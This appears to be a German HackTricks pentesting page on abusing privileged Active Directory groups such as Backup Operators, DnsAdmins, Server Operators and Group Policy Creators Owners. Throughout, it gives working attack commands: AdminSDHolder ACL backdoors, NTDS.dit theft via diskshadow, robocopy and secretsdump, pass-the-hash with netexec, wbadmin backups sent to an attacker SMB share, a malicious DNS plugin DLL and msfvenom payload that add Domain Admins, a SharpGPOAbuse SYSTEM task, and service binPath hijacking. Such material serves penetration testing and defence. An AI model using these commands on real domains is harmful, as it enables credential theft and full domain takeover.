Privilegierte Gruppen
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Bekannte Gruppen mit Administrationsrechten
- Administrators
- Domain Admins
- Enterprise Admins
Account Operators
Diese Gruppe ist befugt, Konten und Gruppen zu erstellen, die keine Administratoren in der Domäne sind. Zusätzlich ermöglicht sie die lokale Anmeldung am Domänencontroller (DC).
Um die Mitglieder dieser Gruppe zu ermitteln, wird der folgende Befehl ausgeführt:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Das Hinzufügen neuer Benutzer ist erlaubt, ebenso die lokale Anmeldung am DC.
AdminSDHolder-Gruppe
Die Access Control List (ACL) der AdminSDHolder-Gruppe ist entscheidend, da sie die Berechtigungen für alle “protected groups” in Active Directory festlegt, einschließlich hochprivilegierter Gruppen. Dieser Mechanismus schützt diese Gruppen, indem er unautorisierte Änderungen verhindert.
Ein Angreifer könnte dies ausnutzen, indem er die ACL der AdminSDHolder-Gruppe ändert und einem Standardbenutzer volle Berechtigungen gewährt. Dadurch erhielte dieser Benutzer effektiv die vollständige Kontrolle über alle protected groups. Wenn die Berechtigungen dieses Benutzers geändert oder entfernt werden, werden sie aufgrund des Systemdesigns innerhalb einer Stunde automatisch wiederhergestellt.
Neuere Windows Server-Dokumentation behandelt weiterhin mehrere integrierte Operator-Gruppen als protected Objekte (Account Operators, Backup Operators, Print Operators, Server Operators, Domain Admins, Enterprise Admins, Key Admins, Enterprise Key Admins, etc.). Der SDProp-Prozess läuft standardmäßig alle 60 Minuten auf dem PDC Emulator, setzt adminCount=1 und deaktiviert die Vererbung bei geschützten Objekten. Das ist sowohl für Persistenz nützlich als auch beim Aufspüren veralteter privilegierter Benutzer, die aus einer geschützten Gruppe entfernt wurden, aber weiterhin die nicht-vererbende ACL behalten.
Befehle zum Überprüfen der Mitglieder und Ändern von Berechtigungen umfassen:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
# Hunt users/groups that still have adminCount=1
Get-ADObject -LDAPFilter '(adminCount=1)' -Properties adminCount,distinguishedName |
Select-Object distinguishedName
Ein Skript ist verfügbar, um den Wiederherstellungsprozess zu beschleunigen: Invoke-ADSDPropagation.ps1.
Für weitere Details besuchen Sie ired.team.
AD Recycle Bin
Die Mitgliedschaft in dieser Gruppe erlaubt das Lesen gelöschter Active Directory-Objekte, was sensible Informationen offenlegen kann:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Das ist nützlich für die Wiederherstellung früherer Berechtigungswege. Gelöschte Objekte können weiterhin lastKnownParent, memberOf, sIDHistory, adminCount, alte SPNs oder den DN einer gelöschten privilegierten Gruppe offenlegen, die später von einem anderen Operator wiederhergestellt werden kann.
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects `
-Properties samAccountName,lastKnownParent,memberOf,sIDHistory,adminCount,servicePrincipalName |
Select-Object samAccountName,lastKnownParent,adminCount,sIDHistory,servicePrincipalName
Zugriff auf den Domain Controller
Der Zugriff auf Dateien auf dem Domain Controller ist eingeschränkt, es sei denn, der Benutzer ist Mitglied der Gruppe Server Operators, die die Zugriffsrechte ändert.
Privilege Escalation
Mit PsService oder sc aus Sysinternals kann man Dienstberechtigungen prüfen und ändern. Die Gruppe Server Operators hat zum Beispiel Vollzugriff auf bestimmte Dienste, was die Ausführung beliebiger Befehle und privilege escalation ermöglicht:
C:\> .\PsService.exe security AppReadiness
Dieser Befehl zeigt, dass Server Operators vollen Zugriff haben, was die Manipulation von Diensten zum Erlangen erhöhter Privilegien ermöglicht.
Backup Operators
Die Mitgliedschaft in der Gruppe Backup Operators gewährt Zugriff auf das Dateisystem von DC01 aufgrund der Privilegien SeBackup und SeRestore. Diese Privilegien erlauben das Durchqueren von Ordnern, Auflisten und Kopieren von Dateien, selbst ohne explizite Berechtigungen, unter Verwendung des Flags FILE_FLAG_BACKUP_SEMANTICS. Für diesen Vorgang ist die Verwendung spezifischer Scripts erforderlich.
Um die Gruppenmitglieder aufzulisten, führe aus:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Lokaler Angriff
Um diese Privilegien lokal zu nutzen, werden die folgenden Schritte ausgeführt:
- Notwendige Bibliotheken importieren:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
SeBackupPrivilegeaktivieren und überprüfen:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Auf Dateien in eingeschränkten Verzeichnissen zugreifen und sie kopieren, zum Beispiel:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Attack
Direkter Zugriff auf das Dateisystem des Domänencontrollers ermöglicht das Stehlen der NTDS.dit-Datenbank, die alle NTLM-Hashes für Domänenbenutzer und -computer enthält.
Mit diskshadow.exe
- Erstelle eine Schattenkopie des
C-Laufwerks:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- Kopiere
NTDS.ditaus der Shadow Copy:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternativ verwenden Sie robocopy zum Kopieren von Dateien:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Extrahiere
SYSTEMundSAMzum Abrufen von Hashes:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
- Rufe alle hashes aus
NTDS.ditab:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
- Nach der Extraktion: Pass-the-Hash zum DA
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
Verwendung von wbadmin.exe
- Richte ein NTFS-Dateisystem für den SMB-Server auf der Angreifer-Maschine ein und zwischenspeichere SMB-Anmeldeinformationen auf dem Zielsystem.
- Verwende
wbadmin.exefür System-Backups und die Extraktion vonNTDS.dit:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
For a practical demonstration, see DEMO VIDEO WITH IPPSEC.
DnsAdmins
Mitglieder der DnsAdmins-Gruppe können ihre Privilegien ausnutzen, um eine beliebige DLL mit SYSTEM-Rechten auf einem DNS-Server zu laden, der oft auf Domain Controllers gehostet wird. Diese Fähigkeit eröffnet erhebliche Ausnutzungsmöglichkeiten.
Um Mitglieder der DnsAdmins-Gruppe aufzulisten, verwenden Sie:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Execute arbitrary DLL (CVE‑2021‑40469)
Note
Diese Schwachstelle ermöglicht die Ausführung von beliebigem Code mit SYSTEM-Rechten im DNS‑Dienst (meist innerhalb der DCs). Dieses Problem wurde 2021 behoben.
Mitglieder können den DNS‑Server dazu bringen, eine beliebige DLL zu laden (entweder lokal oder von einer entfernten Freigabe) mit Befehlen wie:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Ein Neustart des DNS-Dienstes (der zusätzliche Berechtigungen erfordern kann) ist erforderlich, damit die DLL geladen wird:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Für weitere Details zu diesem Angriffsvektor, siehe ired.team.
Mimilib.dll
Es ist auch möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden, indem man sie so modifiziert, dass sie bestimmte Befehle oder reverse shells ausführt. Check this post für weitere Informationen.
WPAD-Eintrag für MitM
DnsAdmins können DNS-Einträge manipulieren, um Man-in-the-Middle (MitM)-Angriffe durchzuführen, indem sie nach Deaktivierung der globalen Query-Blockliste einen WPAD-Eintrag erstellen. Tools wie Responder oder Inveigh können für spoofing und das Abfangen von Netzwerkverkehr verwendet werden.
Event Log Readers
Mitglieder können auf Ereignisprotokolle zugreifen und dabei potenziell sensible Informationen wie Klartext-Passwörter oder Details zur Befehlsausführung finden:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows Permissions
Diese Gruppe kann DACLs am Domänenobjekt ändern und dadurch möglicherweise DCSync privileges gewähren. Techniken zur privilege escalation, die diese Gruppe ausnutzen, sind im Exchange-AD-Privesc GitHub repo detailliert beschrieben.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Wenn Sie als Mitglied dieser Gruppe agieren können, besteht der klassische Missbrauch darin, einem attacker-controlled principal die Replikationsrechte zu gewähren, die für DCSync benötigt werden:
Add-DomainObjectAcl -TargetIdentity "DC=testlab,DC=local" -PrincipalIdentity attacker -Rights DCSync
Get-ObjectAcl -DistinguishedName "DC=testlab,DC=local" -ResolveGUIDs | ?{$_.IdentityReference -match 'attacker'}
Historisch hat PrivExchange mailbox access, coerced Exchange authentication und LDAP relay verknüpft, um auf denselben Mechanismus zu gelangen. Selbst wenn dieser relay-Pfad mitigiert ist, bleibt direkte Mitgliedschaft in Exchange Windows Permissions oder die Kontrolle über einen Exchange server ein hochgradig wertvoller Weg zu Domain-Replication-Rechten.
Hyper-V Administrators
Hyper-V Administrators haben vollen Zugriff auf Hyper-V, was ausgenutzt werden kann, um Kontrolle über virtualisierte Domain Controllers zu erlangen. Dazu gehört das Klonen laufender DCs und das Extrahieren von NTLM-Hashes aus der Datei NTDS.dit.
Exploitation Example
Der praktische Missbrauch besteht in der Regel in offline access zu DC-disks/checkpoints statt in alten host-level LPE tricks. Mit Zugriff auf den Hyper-V host kann ein Operator einen virtualisierten Domain Controller checkpointen oder exportieren, die VHDX mounten und NTDS.dit, SYSTEM und andere Geheimnisse extrahieren, ohne LSASS im Gast zu berühren:
# Host-side enumeration
Get-VM
Get-VHD -VMId <vm-guid>
# After exporting or checkpointing the DC, mount the disk read-only
Mount-VHD -Path 'C:\HyperV\Virtual Hard Disks\DC01.vhdx' -ReadOnly
Von dort aus verwende erneut den Backup Operators-Workflow, um Windows\NTDS\ntds.dit und die Registry-Hives offline zu kopieren.
Group Policy Creators Owners
Diese Gruppe erlaubt Mitgliedern, Group Policies in der Domäne zu erstellen. Allerdings können ihre Mitglieder Group Policies nicht auf Benutzer oder Gruppen anwenden oder bestehende GPOs bearbeiten.
Der wichtige Unterschied ist, dass der Ersteller Eigentümer des neuen GPO wird und in der Regel danach genügend Rechte hat, es zu bearbeiten. Das macht diese Gruppe interessant, wenn du entweder:
- ein bösartiges GPO erstellen und einen Admin dazu bringen kannst, es an eine Ziel-OU/Domäne zu verknüpfen
- ein von dir erstelltes GPO bearbeiten kannst, das bereits irgendwo nützlich verknüpft ist
- ein anderes delegiertes Recht ausnutzen kannst, das dir erlaubt, GPOs zu verknüpfen, während diese Gruppe dir die Bearbeitungsrechte gibt
Praktisch bedeutet Missbrauch normalerweise, über SYSVOL-gestützte Policy-Dateien eine Immediate Task, ein startup script, eine local admin membership oder eine Änderung der user rights assignment hinzuzufügen.
# Example with SharpGPOAbuse: add an immediate task that executes as SYSTEM
SharpGPOAbuse.exe --AddImmediateTask --TaskName "HT-Task" --Author TESTLAB\\Administrator --Command "cmd.exe" --Arguments "/c whoami > C:\\Windows\\Temp\\gpo.txt" --GPOName "Security Update"
Wenn du die GPO manuell über SYSVOL bearbeitest, bedenke, dass die Änderung allein nicht ausreicht: versionNumber, GPT.ini und manchmal gPCMachineExtensionNames müssen ebenfalls aktualisiert werden, sonst ignorieren Clients die Aktualisierung der Richtlinie.
Organization Management
In Umgebungen, in denen Microsoft Exchange eingesetzt ist, verfügt eine spezielle Gruppe, bekannt als Organization Management, über weitreichende Befugnisse. Diese Gruppe hat das Privileg, auf die Postfächer aller Domain-Benutzer zuzugreifen, und besitzt die volle Kontrolle über die Organisationseinheit (OU) ‘Microsoft Exchange Security Groups’. Diese Kontrolle umfasst die Gruppe Exchange Windows Permissions, die für Privilegieneskalation ausgenutzt werden kann.
Privilegienausnutzung und Befehle
Print Operators
Mitglieder der Print Operators-Gruppe besitzen mehrere Privilegien, einschließlich SeLoadDriverPrivilege, das ihnen erlaubt, sich lokal an einem Domain Controller anzumelden, diesen herunterzufahren und Drucker zu verwalten. Um diese Privilegien auszunutzen — insbesondere wenn SeLoadDriverPrivilege im nicht-elevated Kontext nicht sichtbar ist — ist ein Umgehen von User Account Control (UAC) erforderlich.
Um die Mitglieder dieser Gruppe aufzulisten, wird der folgende PowerShell-Befehl verwendet:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Auf Domain Controllern ist diese Gruppe gefährlich, weil die Standard-Domain-Controller-Richtlinie SeLoadDriverPrivilege an Print Operators gewährt. Wenn Sie ein erhöhtes Token für ein Mitglied dieser Gruppe erhalten, können Sie das Privileg aktivieren und einen signierten, aber verwundbaren Treiber laden, um in den Kernel/SYSTEM zu gelangen. Für Details zur Token-Verwaltung siehe Access Tokens.
Remote Desktop Users
Den Mitgliedern dieser Gruppe wird Zugriff auf PCs über Remote Desktop Protocol (RDP) gewährt. Um diese Mitglieder aufzulisten, stehen PowerShell-Befehle zur Verfügung:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
Weitere Einblicke in die Ausnutzung von RDP finden sich in speziellen pentesting-Ressourcen.
Remote-Management-Benutzer
Mitglieder können über Windows Remote Management (WinRM) auf PCs zugreifen. Die Enumeration dieser Mitglieder erfolgt durch:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Für Exploitation-Techniken im Zusammenhang mit WinRM sollte spezifische Dokumentation zu Rate gezogen werden.
Server Operators
Diese Gruppe hat Berechtigungen, verschiedene Konfigurationen an Domain Controllern vorzunehmen, einschließlich Backup- und Restore-Rechten, dem Ändern der Systemzeit und dem Herunterfahren des Systems. Um die Mitglieder aufzulisten, wird folgender Befehl verwendet:
Get-NetGroupMember -Identity "Server Operators" -Recurse
Auf Domänencontrollern erben Server Operators üblicherweise genügend Rechte, um Dienste neu zu konfigurieren oder zu starten/anzuhalten, und erhalten außerdem durch die Standard-DC-Richtlinie SeBackupPrivilege/SeRestorePrivilege. Das macht sie in der Praxis zu einer Brücke zwischen service-control abuse und NTDS extraction:
sc.exe \\dc01 query
sc.exe \\dc01 qc <service>
.\PsService.exe security <service>
Wenn ein Service-ACL dieser Gruppe Änder-/Startrechte gewährt, weise den Service auf einen beliebigen Befehl, starte ihn als LocalSystem und stelle anschließend den ursprünglichen binPath wieder her. Ist die Service-Steuerung eingeschränkt, greife auf die oben beschriebenen Backup Operators-Techniken zurück, um NTDS.dit zu kopieren.
Quellen
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b–privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c–
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c–protected-accounts-and-groups-in-active-directory
- https://labs.withsecure.com/tools/sharpgpoabuse
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


